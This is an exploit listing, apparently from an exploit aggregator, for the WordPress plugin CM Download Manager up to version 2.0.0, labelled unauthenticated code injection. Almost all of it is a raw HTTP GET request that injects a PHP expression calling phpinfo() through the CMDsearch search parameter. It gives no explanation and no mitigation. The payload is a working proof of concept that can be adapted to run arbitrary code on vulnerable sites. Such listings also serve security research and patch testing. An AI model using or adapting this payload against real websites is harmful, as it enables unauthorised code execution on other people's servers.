Exploit for CM Download Manager <= 2.0.0 - Unauthenticated Code Injection
Exploit Code
## https://sploitus.com/exploit?id=WPEX-ID:7F4182AB-93BF-4766-B27C-9BD6217D2A20
GET /cmdownloads/?CMDsearch=".phpinfo()." HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive